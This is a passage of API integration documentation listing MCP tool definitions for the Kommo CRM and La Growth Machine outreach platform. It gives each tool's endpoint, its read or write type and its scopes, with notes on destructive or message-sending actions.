/api/v1/kommo/api/v4/{entity_type}/custom_fields. Scopes: crm. kommo_get_api_v4_by_entity_type_custom_fields_by_id (read) — Get entity field by ID via GET /api/v4/{entity_type}/custom_fields/{id} GET /api/v1/kommo/api/v4/{entity_type}/custom_fields/{id}. Scopes: crm. kommo_get_api_v4_by_entity_type_custom_fields_groups (read) — List of entity field groups via GET /api/v4/{entity_type}/custom_fields/groups GET /api/v1/kommo/api/v4/{entity_type}/custom_fields/groups. Scopes: crm. kommo_get_api_v4_by_entity_type_custom_fields_groups_by_id (read) — Get an entity field group by ID via GET /api/v4/{entity_type}/custom_fields/groups/{id} GET /api/v1/kommo/api/v4/{entity_type}/custom_fields/groups/{id}. Scopes: crm. kommo_get_api_v4_by_entity_type_notes (read) — Get notes list by entity type via GET /api/v4/{entity_type}/notes GET /api/v1/kommo/api/v4/{entity_type}/notes. Scopes: crm. kommo_get_api_v4_by_entity_type_notes_by_id (read) — Get note by ID via GET /api/v4/{entity_type}/notes/{id} GET /api/v1/kommo/api/v4/{entity_type}/notes/{id}. Scopes: crm. kommo_get_api_v4_by_entity_type_tags (read) — List of entity tags via GET /api/v4/{entity_type}/tags GET /api/v1/kommo/api/v4/{entity_type}/tags. Scopes: crm. kommo_get_api_v4_catalogs (read) — Get lists via GET /api/v4/catalogs GET /api/v1/kommo/api/v4/catalogs. Scopes: crm. kommo_get_api_v4_catalogs_by_id (read) — Get list via GET /api/v4/catalogs/{id} GET /api/v1/kommo/api/v4/catalogs/{id}. Scopes: crm. kommo_get_api_v4_catalogs_by_list_id_custom_fields (read) — Custom fields list of a list via GET /api/v4/catalogs/{list_id}/custom_fields GET /api/v1/kommo/api/v4/catalogs/{list_id}/custom_fields. Scopes: crm. kommo_get_api_v4_catalogs_by_list_id_custom_fields_by_custom_field_id (read) — Getting a list field by its ID via GET /api/v4/catalogs/{list_id}/custom_fields/{custom_field_id} GET /api/v1/kommo/api/v4/catalogs/{list_id}/custom_fields/{custom_field_id}. Scopes: crm. kommo_get_api_v4_catalogs_by_list_id_elements (read) — Get list elements via GET /api/v4/catalogs/{list_id}/elements GET /api/v1/kommo/api/v4/catalogs/{list_id}/elements. Scopes: crm. kommo_get_api_v4_catalogs_by_list_id_elements_by_element_id (read) — Get list element via GET /api/v4/catalogs/{list_id}/elements/{element_id} GET /api/v1/kommo/api/v4/catalogs/{list_id}/elements/{element_id}. Scopes: crm. kommo_get_api_v4_chats_templates (read) — Get list of templates via GET /api/v4/chats/templates GET /api/v1/kommo/api/v4/chats/templates. Scopes: crm. kommo_get_api_v4_chats_templates_by_id (read) — Get template by ID via GET /api/v4/chats/templates/{id} GET /api/v1/kommo/api/v4/chats/templates/{id}. Scopes: crm. kommo_get_api_v4_companies (read) — Companies list via GET /api/v4/companies GET /api/v1/kommo/api/v4/companies. Scopes: crm. kommo_get_api_v4_companies_by_id (read) — Get company by ID via GET /api/v4/companies/{id} GET /api/v1/kommo/api/v4/companies/{id}. Scopes: crm. kommo_get_api_v4_contacts (read) — Contacts List via GET /api/v4/contacts GET /api/v1/kommo/api/v4/contacts. Scopes: crm. kommo_get_api_v4_contacts_by_id (read) — Get contact by ID via GET /api/v4/contacts/{id} GET /api/v1/kommo/api/v4/contacts/{id}. Scopes: crm. kommo_get_api_v4_contacts_chats (read) — Get contact chats via GET /api/v4/contacts/chats GET /api/v1/kommo/api/v4/contacts/chats. Scopes: crm. kommo_get_api_v4_events (read) — Events list via GET /api/v4/events GET /api/v1/kommo/api/v4/events. Scopes: crm. kommo_get_api_v4_events_by_id (read) — Get event by ID via GET /api/v4/events/{id} GET /api/v1/kommo/api/v4/events/{id}. Scopes: crm. kommo_get_api_v4_events_types (read) — Getting events types via GET /api/v4/events/types GET /api/v1/kommo/api/v4/events/types. Scopes: crm. kommo_get_api_v4_files_by_file_uuid_links (read) — Get entities associated with a file via GET /api/v4/files/{file_uuid}/links GET /api/v1/kommo/api/v4/files/{file_uuid}/links. Scopes: files. kommo_get_api_v4_leads (read) — Get leads via GET /api/v4/leads GET /api/v1/kommo/api/v4/leads. Scopes: crm. kommo_get_api_v4_leads_by_id (read) — Get lead by ID via GET /api/v4/leads/{id} GET /api/v1/kommo/api/v4/leads/{id}. Scopes: crm. kommo_get_api_v4_leads_by_id_subscriptions (read) — Get lead subscribers via GET /api/v4/leads/{id}/subscriptions GET /api/v1/kommo/api/v4/leads/{id}/subscriptions. Scopes: crm. kommo_get_api_v4_leads_loss_reasons (read) — Get loss reasons via GET /api/v4/leads/loss_reasons GET /api/v1/kommo/api/v4/leads/loss_reasons. Scopes: crm. kommo_get_api_v4_leads_loss_reasons_by_id (read) — Get loss reason by ID via GET /api/v4/leads/loss_reasons/{id} GET /api/v1/kommo/api/v4/leads/loss_reasons/{id}. Scopes: crm. kommo_get_api_v4_leads_pipelines (read) — Get pipelines via GET /api/v4/leads/pipelines GET /api/v1/kommo/api/v4/leads/pipelines. Scopes: crm. kommo_get_api_v4_leads_pipelines_by_id (read) — Get pipeline by ID via GET /api/v4/leads/pipelines/{id} GET /api/v1/kommo/api/v4/leads/pipelines/{id}. Scopes: crm. kommo_get_api_v4_leads_pipelines_by_pipeline_id_statuses (read) — Pipeline stages list via GET /api/v4/leads/pipelines/{pipeline_id}/statuses GET /api/v1/kommo/api/v4/leads/pipelines/{pipeline_id}/statuses. Scopes: crm. kommo_get_api_v4_leads_pipelines_by_pipeline_id_statuses_by_id (read) — Get pipeline stage by ID via GET /api/v4/leads/pipelines/{pipeline_id}/statuses/{id} GET /api/v1/kommo/api/v4/leads/pipelines/{pipeline_id}/statuses/{id}. Scopes: crm. kommo_get_api_v4_leads_unsorted (read) — Incoming leads list via GET /api/v4/leads/unsorted GET /api/v1/kommo/api/v4/leads/unsorted. Scopes: crm. kommo_get_api_v4_leads_unsorted_by_uid (read) — Get incoming lead by UID via GET /api/v4/leads/unsorted/{uid} GET /api/v1/kommo/api/v4/leads/unsorted/{uid}. Scopes: crm. kommo_get_api_v4_leads_unsorted_summary (read) — Incoming leads summary information via GET /api/v4/leads/unsorted/summary GET /api/v1/kommo/api/v4/leads/unsorted/summary. Scopes: crm. kommo_get_api_v4_roles (read) — User roles list via GET /api/v4/roles GET /api/v1/kommo/api/v4/roles. Scopes: crm. kommo_get_api_v4_roles_by_id (read) — Get role by ID via GET /api/v4/roles/{id} GET /api/v1/kommo/api/v4/roles/{id}. Scopes: crm. kommo_get_api_v4_sources (read) — Get sources via GET /api/v4/sources GET /api/v1/kommo/api/v4/sources. Scopes: crm. kommo_get_api_v4_sources_by_id (read) — Get source by ID via GET /api/v4/sources/{id} GET /api/v1/kommo/api/v4/sources/{id}. Scopes: crm. kommo_get_api_v4_talks (read) — Get conversations via GET /api/v4/talks GET /api/v1/kommo/api/v4/talks. Scopes: crm. kommo_get_api_v4_talks_by_id (read) — Get conversation by ID via GET /api/v4/talks/{id} GET /api/v1/kommo/api/v4/talks/{id}. Scopes: crm. kommo_get_api_v4_talks_by_talk_id_messages (read) — Get conversation messages via GET /api/v4/talks/{talk_id}/messages GET /api/v1/kommo/api/v4/talks/{talk_id}/messages. Scopes: list_external_messages. kommo_get_api_v4_tasks (read) — Tasks list via GET /api/v4/tasks GET /api/v1/kommo/api/v4/tasks. Scopes: crm. kommo_get_api_v4_tasks_by_id (read) — Get task by ID via GET /api/v4/tasks/{id} GET /api/v1/kommo/api/v4/tasks/{id}. Scopes: crm. kommo_get_api_v4_users (read) — Users list via GET /api/v4/users GET /api/v1/kommo/api/v4/users. Scopes: crm. kommo_get_api_v4_users_by_id (read) — Get user by ID via GET /api/v4/users/{id} GET /api/v1/kommo/api/v4/users/{id}. Scopes: crm. kommo_get_api_v4_webhooks (read) — List of webhooks via GET /api/v4/webhooks GET /api/v1/kommo/api/v4/webhooks. Scopes: crm. kommo_get_api_v4_website_buttons (read) — Get list of Website chat buttons via GET /api/v4/website_buttons GET /api/v1/kommo/api/v4/website_buttons. Scopes: crm. kommo_get_api_v4_website_buttons_by_source_id (read) — Get Website chat button via GET /api/v4/website_buttons/{source_id} GET /api/v1/kommo/api/v4/website_buttons/{source_id}. Scopes: crm. kommo_get_api_v4_widgets (read) — Widgets List via GET /api/v4/widgets GET /api/v1/kommo/api/v4/widgets. Scopes: crm. kommo_get_api_v4_widgets_by_widget_code (read) — Getting the widget info by its code via GET /api/v4/widgets/{widget_code} GET /api/v1/kommo/api/v4/widgets/{widget_code}. Scopes: crm. kommo_patch_api_v4_by_entity_type (write) — Add tags to several leads, contacts or companies at once (body: an array of entities, each with _embedded.tags) via PATCH /api/v4/{entity_type} PATCH /api/v1/kommo/api/v4/entity-tags/{entity_type}. Scopes: crm. kommo_patch_api_v4_by_entity_type_by_id (write) — Add tags to a single lead, contact or company (body: the entity with _embedded.tags) via PATCH /api/v4/{entity_type}/{id} PATCH /api/v1/kommo/api/v4/entity-tags/{entity_type}/{id}. Scopes: crm. kommo_patch_api_v4_by_entity_type_custom_fields (write) — Update custom fields via PATCH /api/v4/{entity_type}/custom_fields PATCH /api/v1/kommo/api/v4/{entity_type}/custom_fields. Scopes: crm. kommo_patch_api_v4_by_entity_type_custom_fields_by_id (write) — Update custom field via PATCH /api/v4/{entity_type}/custom_fields/{id} PATCH /api/v1/kommo/api/v4/{entity_type}/custom_fields/{id}. Scopes: crm. kommo_patch_api_v4_by_entity_type_custom_fields_groups_by_id (write) — Edit a field group via PATCH /api/v4/{entity_type}/custom_fields/groups/{id} PATCH /api/v1/kommo/api/v4/{entity_type}/custom_fields/groups/{id}. Scopes: crm. kommo_patch_api_v4_by_entity_type_notes (write) — Edit notes via PATCH /api/v4/{entity_type}/notes PATCH /api/v1/kommo/api/v4/{entity_type}/notes. Scopes: crm. kommo_patch_api_v4_by_entity_type_notes_by_id (write) — Edit note via PATCH /api/v4/{entity_type}/notes/{id} PATCH /api/v1/kommo/api/v4/{entity_type}/notes/{id}. Scopes: crm. kommo_patch_api_v4_catalogs (write) — Editing lists via PATCH /api/v4/catalogs PATCH /api/v1/kommo/api/v4/catalogs. Scopes: crm. kommo_patch_api_v4_catalogs_by_id (write) — Edit list via PATCH /api/v4/catalogs/{id} PATCH /api/v1/kommo/api/v4/catalogs/{id}. Scopes: crm. kommo_patch_api_v4_catalogs_by_id_custom_fields (write) — Update custom fields of a catalog via PATCH /api/v4/catalogs/{id}/custom_fields PATCH /api/v1/kommo/api/v4/catalogs/{id}/custom_fields. Scopes: crm. kommo_patch_api_v4_catalogs_by_list_id_custom_fields_by_cf_id (write) — Update a custom field of a catalog via PATCH /api/v4/catalogs/{list_id}/custom_fields/{cf_id} PATCH /api/v1/kommo/api/v4/catalogs/{list_id}/custom_fields/{cf_id}. Scopes: crm. kommo_patch_api_v4_catalogs_by_list_id_elements (write) — Editing list elements via PATCH /api/v4/catalogs/{list_id}/elements PATCH /api/v1/kommo/api/v4/catalogs/{list_id}/elements. Scopes: crm. kommo_patch_api_v4_catalogs_by_list_id_elements_by_element_id (write) — Edit list element via PATCH /api/v4/catalogs/{list_id}/elements/{element_id} PATCH /api/v1/kommo/api/v4/catalogs/{list_id}/elements/{element_id}. Scopes: crm. kommo_patch_api_v4_chats_templates (write) — Edit templates via PATCH /api/v4/chats/templates PATCH /api/v1/kommo/api/v4/chats/templates. Scopes: crm. kommo_patch_api_v4_companies (write) — Updating companies via PATCH /api/v4/companies PATCH /api/v1/kommo/api/v4/companies. Scopes: crm. kommo_patch_api_v4_companies_by_id (write) — Update company via PATCH /api/v4/companies/{id} PATCH /api/v1/kommo/api/v4/companies/{id}. Scopes: crm. kommo_patch_api_v4_contacts (write) — Updating Contacts via PATCH /api/v4/contacts PATCH /api/v1/kommo/api/v4/contacts. Scopes: crm. kommo_patch_api_v4_contacts_by_id (write) — Update contact via PATCH /api/v4/contacts/{id} PATCH /api/v1/kommo/api/v4/contacts/{id}. Scopes: crm. kommo_patch_api_v4_leads (write) — Update leads via PATCH /api/v4/leads PATCH /api/v1/kommo/api/v4/leads. Scopes: crm. kommo_patch_api_v4_leads_by_id (write) — Update lead via PATCH /api/v4/leads/{id} PATCH /api/v1/kommo/api/v4/leads/{id}. Scopes: crm. kommo_patch_api_v4_leads_pipelines_by_id (write) — Edit pipeline via PATCH /api/v4/leads/pipelines/{id} PATCH /api/v1/kommo/api/v4/leads/pipelines/{id}. Scopes: crm. kommo_patch_api_v4_leads_pipelines_by_pipeline_id_statuses_by_id (write) — Pipeline stage edit via PATCH /api/v4/leads/pipelines/{pipeline_id}/statuses/{id} PATCH /api/v1/kommo/api/v4/leads/pipelines/{pipeline_id}/statuses/{id}. Scopes: crm. kommo_patch_api_v4_roles_by_id (write) — Editing roles via PATCH /api/v4/roles/{id} PATCH /api/v1/kommo/api/v4/roles/{id}. Scopes: crm. kommo_patch_api_v4_sources (write) — Update sources via PATCH /api/v4/sources PATCH /api/v1/kommo/api/v4/sources. Scopes: crm. kommo_patch_api_v4_sources_by_id (write) — Update source via PATCH /api/v4/sources/{id} PATCH /api/v1/kommo/api/v4/sources/{id}. Scopes: crm. kommo_patch_api_v4_tasks (write) — Edit tasks via PATCH /api/v4/tasks PATCH /api/v1/kommo/api/v4/tasks. Scopes: crm. kommo_patch_api_v4_tasks_by_id (write) — Edit task via PATCH /api/v4/tasks/{id} PATCH /api/v1/kommo/api/v4/tasks/{id}. Scopes: crm. kommo_patch_api_v4_website_buttons_by_source_id (write) — Update CRM Plugin via PATCH /api/v4/website_buttons/{source_id} PATCH /api/v1/kommo/api/v4/website_buttons/{source_id}. Scopes: crm. kommo_post_api_v2_events (write) — Add call notification via POST /api/v2/events POST /api/v1/kommo/api/v2/events. Scopes: notifications. kommo_post_api_v4_bots_by_id_run (write) — Launch Salesbot via POST /api/v4/bots/{id}/run POST /api/v1/kommo/api/v4/bots/{id}/run. Scopes: crm. kommo_post_api_v4_bots_by_id_stop (write) — Stop a Salesbot via POST /api/v4/bots/{id}/stop POST /api/v1/kommo/api/v4/bots/{id}/stop. Scopes: crm. kommo_post_api_v4_bots_run (write) — Launch Salesbots via POST /api/v4/bots/run POST /api/v1/kommo/api/v4/bots/run. Scopes: crm. kommo_post_api_v4_by_bot_by_bot_id_continue_by_continue_id (write) — SalesBot widget block execution confirmation via POST /api/v4/{bot}/{bot_id}/continue/{continue_id} POST /api/v1/kommo/api/v4/{bot}/{bot_id}/continue/{continue_id}. Scopes: crm. kommo_post_api_v4_by_entity_by_entity_id_link (write) — Linking entities via POST /api/v4/{entity}/{entity_id}/link POST /api/v1/kommo/api/v4/{entity}/{entity_id}/link. Scopes: crm. kommo_post_api_v4_by_entity_by_entity_id_unlink (write) — Unlinking entities via POST /api/v4/{entity}/{entity_id}/unlink POST /api/v1/kommo/api/v4/{entity}/{entity_id}/unlink. Scopes: crm. kommo_post_api_v4_by_entity_type_custom_fields (write) — Add custom fields via POST /api/v4/{entity_type}/custom_fields POST /api/v1/kommo/api/v4/{entity_type}/custom_fields. Scopes: crm. kommo_post_api_v4_by_entity_type_custom_fields_groups (write) — Add field groups via POST /api/v4/{entity_type}/custom_fields/groups POST /api/v1/kommo/api/v4/{entity_type}/custom_fields/groups. Scopes: crm. kommo_post_api_v4_by_entity_type_notes (write) — Add notes via POST /api/v4/{entity_type}/notes POST /api/v1/kommo/api/v4/{entity_type}/notes. Scopes: crm. kommo_post_api_v4_by_entity_type_notes_by_id_pin (write) — Pin note via POST /api/v4/{entity_type}/notes/{id}/pin POST /api/v1/kommo/api/v4/{entity_type}/notes/{id}/pin. Scopes: crm. kommo_post_api_v4_by_entity_type_notes_by_id_unpin (write) — Unpin note via POST /api/v4/{entity_type}/notes/{id}/unpin POST /api/v1/kommo/api/v4/{entity_type}/notes/{id}/unpin. Scopes: crm. kommo_post_api_v4_by_entity_type_tags (write) — Creating tags for a particular entity type via POST /api/v4/{entity_type}/tags POST /api/v1/kommo/api/v4/{entity_type}/tags. Scopes: crm. kommo_post_api_v4_calls (write) — Add call note via POST /api/v4/calls POST /api/v1/kommo/api/v4/calls. Scopes: crm. kommo_post_api_v4_catalogs (write) — Adding lists via POST /api/v4/catalogs POST /api/v1/kommo/api/v4/catalogs. Scopes: crm. kommo_post_api_v4_catalogs_by_list_id_custom_fields (write) — Adding a custom field to a list via POST /api/v4/catalogs/{list_id}/custom_fields POST /api/v1/kommo/api/v4/catalogs/{list_id}/custom_fields. Scopes: crm. kommo_post_api_v4_catalogs_by_list_id_elements (write) — Adding list elements via POST /api/v4/catalogs/{list_id}/elements POST /api/v1/kommo/api/v4/catalogs/{list_id}/elements. Scopes: crm. kommo_post_api_v4_chats_templates (write) — Add templates via POST /api/v4/chats/templates POST /api/v1/kommo/api/v4/chats/templates. Scopes: crm. kommo_post_api_v4_chats_templates_by_id_review (write) — Submit a WhatsApp template for moderation via POST /api/v4/chats/templates/{id}/review POST /api/v1/kommo/api/v4/chats/templates/{id}/review. Scopes: crm. kommo_post_api_v4_chats_templates_by_id_review_by_review_id (write) — Edit a WhatsApp template status via POST /api/v4/chats/templates/{id}/review/{review_id} POST /api/v1/kommo/api/v4/chats/templates/{id}/review/{review_id}. Scopes: crm. kommo_post_api_v4_companies (write) — Add companies via POST /api/v4/companies POST /api/v1/kommo/api/v4/companies. Scopes: crm. kommo_post_api_v4_contacts (write) — Adding contacts via POST /api/v4/contacts POST /api/v1/kommo/api/v4/contacts. Scopes: crm. kommo_post_api_v4_contacts_chats (write) — Step 4: Link chat to contact via POST /api/v4/contacts/chats POST /api/v1/kommo/api/v4/contacts/chats. Scopes: crm. kommo_post_api_v4_leads (write) — Add leads via POST /api/v4/leads POST /api/v1/kommo/api/v4/leads. Scopes: crm. kommo_post_api_v4_leads_complex (write) — Complex addition of leads with contact and company via POST /api/v4/leads/complex POST /api/v1/kommo/api/v4/leads/complex. Scopes: crm. kommo_post_api_v4_leads_pipelines (write) — Adding pipelines via POST /api/v4/leads/pipelines POST /api/v1/kommo/api/v4/leads/pipelines. Scopes: crm. kommo_post_api_v4_leads_pipelines_by_pipeline_id_statuses (write) — Add stages to pipeline via POST /api/v4/leads/pipelines/{pipeline_id}/statuses POST /api/v1/kommo/api/v4/leads/pipelines/{pipeline_id}/statuses. Scopes: crm. kommo_post_api_v4_leads_unsorted_by_uid_accept (write) — Accepting incoming leads via POST /api/v4/leads/unsorted/{uid}/accept POST /api/v1/kommo/api/v4/leads/unsorted/{uid}/accept. Scopes: crm. kommo_post_api_v4_leads_unsorted_by_uid_link (write) — Linking incoming leads via POST /api/v4/leads/unsorted/{uid}/link POST /api/v1/kommo/api/v4/leads/unsorted/{uid}/link. Scopes: crm. kommo_post_api_v4_leads_unsorted_forms (write) — Adding incoming leads from the type form via POST /api/v4/leads/unsorted/forms POST /api/v1/kommo/api/v4/leads/unsorted/forms. Scopes: crm. kommo_post_api_v4_leads_unsorted_sip (write) — Adding incoming leads from the type sip (call) via POST /api/v4/leads/unsorted/sip POST /api/v1/kommo/api/v4/leads/unsorted/sip. Scopes: crm. kommo_post_api_v4_roles (write) — Adding roles via POST /api/v4/roles POST /api/v1/kommo/api/v4/roles. Scopes: crm. kommo_post_api_v4_sources (write) — Add sources via POST /api/v4/sources POST /api/v1/kommo/api/v4/sources. Scopes: crm. kommo_post_api_v4_talks_by_id_close (write) — Close conversation via POST /api/v4/talks/{id}/close POST /api/v1/kommo/api/v4/talks/{id}/close. Scopes: crm. kommo_post_api_v4_talks_by_talk_id_send_message (write) — Send message to conversation via POST /api/v4/talks/{talk_id}/send_message POST /api/v1/kommo/api/v4/talks/{talk_id}/send_message. Scopes: send_external_messages. kommo_post_api_v4_tasks (write) — Add tasks via POST /api/v4/tasks POST /api/v1/kommo/api/v4/tasks. Scopes: crm. kommo_post_api_v4_users (write) — Add users via POST /api/v4/users POST /api/v1/kommo/api/v4/users. Scopes: crm. kommo_post_api_v4_users_activate (write) — Activate users via POST /api/v4/users/activate POST /api/v1/kommo/api/v4/users/activate. Scopes: crm. kommo_post_api_v4_users_deactivate (write) — Deactivate users via POST /api/v4/users/deactivate POST /api/v1/kommo/api/v4/users/deactivate. Scopes: crm. kommo_post_api_v4_webhooks (write) — Add webhook via POST /api/v4/webhooks POST /api/v1/kommo/api/v4/webhooks. Scopes: crm. kommo_post_api_v4_website_buttons (write) — Add CRM Plugin via POST /api/v4/website_buttons POST /api/v1/kommo/api/v4/website_buttons. Scopes: crm. kommo_post_api_v4_website_buttons_by_source_id_online_chat (write) — Connect online chat to CRM Plugin via POST /api/v4/website_buttons/{source_id}/online_chat POST /api/v1/kommo/api/v4/website_buttons/{source_id}/online_chat. Scopes: crm. kommo_post_api_v4_widgets_by_widget_code (write) — Install widget into account via POST /api/v4/widgets/{widget_code} POST /api/v1/kommo/api/v4/widgets/{widget_code}. Scopes: crm. kommo_put_api_v4_by_entity_by_entity_id_files (write) — Attach files to an entity via PUT /api/v4/{entity}/{entity_id}/files PUT /api/v1/kommo/api/v4/{entity}/{entity_id}/files. Scopes: files. ================================================================================ ## La Growth Machine URL: https://www.agenticfabriq.com/integrations/la_growth_machine Section: Integrated Tools La Growth Machine — 32 MCP tools Provider key: la_growth_machine. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. la_growth_machine_delete_inboxwebhooks_by_webhookid (write, destructive) — Delete one webhook registration by id. There is no undo and no pause: delivery stops immediately, the events that occur while it is gone are not replayed when a replacement is created, and the replacement carries a NEW id that anything referring to the old one will not match. The only destructive tool on this surface via DELETE /inboxWebhooks/{webhookId} DELETE /api/v1/la_growth_machine/inboxWebhooks/{webhookId}. Scopes: api. la_growth_machine_get_audiences (read) — Every audience in the workspace with its id and name. The id a campaign's `audienceId` setting takes, and the one the audience detail and lead listings take via GET /audiences GET /api/v1/la_growth_machine/audiences. Scopes: api. la_growth_machine_get_audiences_by_audienceid_detail (read) — Read one audience by its 24-character hex id: its name, how many leads it holds and how it was built via GET /audiences/{audienceId}/detail GET /api/v1/la_growth_machine/audiences/{audienceId}/detail. Scopes: api. la_growth_machine_get_audiences_by_audienceid_leads (read) — Page through the leads in one audience with `skip` and `limit` (1 to 100, 25 by default). Returns the lead ids the lead log, conversation, enrichment and inbox tools take via GET /audiences/{audienceId}/leads GET /api/v1/la_growth_machine/audiences/{audienceId}/leads. Scopes: api. la_growth_machine_get_campaigns (read) — Page through this workspace's campaigns -- id, name and status for each -- with `skip` and `limit` (25 per page maximum). The campaign id every other campaign tool takes comes from here via GET /campaigns GET /api/v1/la_growth_machine/campaigns. Scopes: api. la_growth_machine_get_campaigns_by_campaignid (read) — Read one campaign by id: its name, its status and the audience and identities it runs on. List campaigns is what mints the id via GET /campaigns/{campaignId} GET /api/v1/la_growth_machine/campaigns/{campaignId}. Scopes: api. la_growth_machine_get_campaigns_by_campaignid_messages (read) — Read the message templates a campaign sends at each step of its sequence. `campaignId` is a 24-character hex ObjectId. Read-only: editing a sequence is a La Growth Machine UI action, not an API call via GET /campaigns/{campaignId}/messages GET /api/v1/la_growth_machine/campaigns/{campaignId}/messages. Scopes: api. la_growth_machine_get_campaigns_by_campaignid_stats (read) — Aggregate performance for one campaign across LinkedIn, email and Twitter: how many leads were contacted, replied, bounced and converted. The whole-campaign counterpart to List a campaign's leads with their statistics via GET /campaigns/{campaignId}/stats GET /api/v1/la_growth_machine/campaigns/{campaignId}/stats. Scopes: api. la_growth_machine_get_campaigns_by_campaignid_statsleads (read) — Per-LEAD performance inside one campaign, cursor-paginated BY LEAD ID rather than by offset: pass the last id you saw as `getLeadsAfter`, or walk backwards with `getLeadsBefore`. Returns the lead ids the lead and inbox tools take via GET /campaigns/{campaignId}/statsleads GET /api/v1/la_growth_machine/campaigns/{campaignId}/statsleads. Scopes: api. la_growth_machine_get_conversations_by_conversationid_messages (read) — The messages in one conversation, by its 24-character hex id. PAGE-numbered rather than cursored: `page` starts at 0. Search conversations and List a lead's conversations are what mint the id via GET /conversations/{conversationId}/messages GET /api/v1/la_growth_machine/conversations/{conversationId}/messages. Scopes: api. la_growth_machine_get_conversations_search (read) — Search the inbox: free text in `q` plus filters for identity, lead, audience and campaign ids, conversation `status`, the last message's type, status and date range, call-completion dates, and the `leadReplied`, `unsubscribed`, `favourite` and `read` flags. Cursor-paginated -- pass the last cursor back as `searchAfter` -- and sortable with `sortField` / `sortDirection` via GET /conversations/search GET /api/v1/la_growth_machine/conversations/search. Scopes: api. la_growth_machine_get_credits (read) — The workspace's remaining enrichment credits. Read this before Enrich a lead, which spends 1 credit on LINKEDIN_ENRICH and 5 on EMAIL_ENRICH or FULL_ENRICH, and before any loop that enriches a list via GET /credits GET /api/v1/la_growth_machine/credits. Scopes: api. la_growth_machine_get_inboxwebhooks (read) — The inbox-event webhook registrations on this workspace, with the ids Delete an inbox webhook takes via GET /inboxWebhooks GET /api/v1/la_growth_machine/inboxWebhooks. Scopes: api. la_growth_machine_get_leads_by_leadid_conversations (read) — The conversation threads held with one lead, optionally narrowed to one `identityId`. Returns the conversation ids the message listing and the archive, snooze and note tools take via GET /leads/{leadId}/conversations GET /api/v1/la_growth_machine/leads/{leadId}/conversations. Scopes: api. la_growth_machine_get_leads_by_leadid_logs (read) — Every action La Growth Machine has taken for one lead -- visits, connection requests, messages, emails, enrichments -- optionally narrowed to one `identityId` and paged with `skip` and `limit` (1 to 100). `leadId` is a 24-character hex ObjectId via GET /leads/{leadId}/logs GET /api/v1/la_growth_machine/leads/{leadId}/logs. Scopes: api. la_growth_machine_get_leads_enrich_by_enrichrequestid (read) — Read back one enrichment by the id Enrich a lead returned. This is the second half of `mode: polling`; nothing is charged again for reading it via GET /leads/enrich/{enrichRequestId} GET /api/v1/la_growth_machine/leads/enrich/{enrichRequestId}. Scopes: api. la_growth_machine_get_members (read) — Every member of the workspace this API key belongs to, and the source of the `memberId` that Send a LinkedIn message to a lead requires. La Growth Machine designates this as the call to check a key with, so it is the cheapest read on the surface and the one this integration probes a pasted key against via GET /members GET /api/v1/la_growth_machine/members. Scopes: api. la_growth_machine_post_audiences (write) — Fill an audience from a LinkedIn search, Sales Navigator search or post URL. `audience` names an EXISTING audience or creates a new one, so the same call both creates and extends; `identityId` must be a connected LinkedIn identity with its widget open. `autoImport` keeps pulling new matches in afterwards and `excludeContactedLeads` skips leads already contacted. Leads that land here become contactable by every campaign using that audience. Sent as form-urlencoded, unlike Create an empty audience via POST /audiences POST /api/v1/la_growth_machine/audiences. Scopes: api. la_growth_machine_post_audiences_create (write) — Create a named, empty audience (1-100 characters) to fill later. The JSON-bodied sibling of Import a LinkedIn search into an audience, which is form-urlencoded and populates one at the same time via POST /audiences/create POST /api/v1/la_growth_machine/audiences/create. Scopes: api. la_growth_machine_post_campaigns_by_campaignid_settings (write) — Change a live campaign's configuration: rename it, assign its `audienceId` (only while the campaign is READY and has never started), or switch auto-enrichment, HubSpot sync, Pipedrive sync, skip-already-contacted, ignore-emoji-only-replies and out-of-office rescheduling on or off. SEVERAL FIELDS HAVE A STATE PRECONDITION -- the CRM toggles need a PAUSED campaign and the two rules need READY or PAUSED -- and the call is refused rather than queued when it is not met. Sent as form-urlencoded via POST /campaigns/{campaignId}/settings POST /api/v1/la_growth_machine/campaigns/{campaignId}/settings. Scopes: api. la_growth_machine_post_campaigns_by_campaignid_status (write) — THIS ONE REACHES REAL PEOPLE. `RUNNING` resumes a paused campaign and La Growth Machine starts sending its connection requests, LinkedIn messages and emails to the leads in its audience, from the customer's own accounts; `PAUSED` stops it. Those are the only two values the field accepts. The toggle is reversible, but messages the campaign has already sent cannot be recalled -- pausing stops what has not gone out yet, not what has. Sent as form-urlencoded via POST /campaigns/{campaignId}/status POST /api/v1/la_growth_machine/campaigns/{campaignId}/status. Scopes: api. la_growth_machine_post_crm_search (read) — A READ THAT USES POST, because its criteria travel in a body: look a lead up in the workspace's CRM by `email`, `proEmail` or `persoEmail`, or by `firstname` narrowed with lastname, company name or LinkedIn URL. At least one of those is required. Nothing is written, nothing is enriched and no credit is spent via POST /crm/search POST /api/v1/la_growth_machine/crm/search. Scopes: api. la_growth_machine_post_inbox_conversations_archive (write) — Move a conversation out of the active inbox, addressed by `conversationId` or by the lead's `email`. Nothing is deleted and Unarchive a conversation is the exact inverse via POST /inbox/conversations/archive POST /api/v1/la_growth_machine/inbox/conversations/archive. Scopes: api. la_growth_machine_post_inbox_conversations_note (write) — Write the internal note on a conversation, addressed by `conversationId` or by lead, campaign, identity, email or LinkedIn URL. `mode: append` adds to what is there; `mode: replace` OVERWRITES IT and the previous text is not recoverable, so prefer append unless a replacement is meant. The note is internal to the workspace and is never sent to the lead via POST /inbox/conversations/note POST /api/v1/la_growth_machine/inbox/conversations/note. Scopes: api. la_growth_machine_post_inbox_conversations_snooze (write) — Hide a conversation until `snoozeUntil` (an ISO-8601 date-time), at which point it returns to the inbox by itself. Reversible before then with Unsnooze a conversation via POST /inbox/conversations/snooze POST /api/v1/la_growth_machine/inbox/conversations/snooze. Scopes: api. la_growth_machine_post_inbox_conversations_unarchive (write) — Bring an archived conversation back into the active inbox, addressed by `conversationId` or by the lead's `email`. The inverse of Archive a conversation via POST /inbox/conversations/unarchive POST /api/v1/la_growth_machine/inbox/conversations/unarchive. Scopes: api. la_growth_machine_post_inbox_conversations_unsnooze (write) — Bring a snoozed conversation back now rather than waiting for its `snoozeUntil`, addressed by `conversationId` or by the lead's `linkedinUrl` via POST /inbox/conversations/unsnooze POST 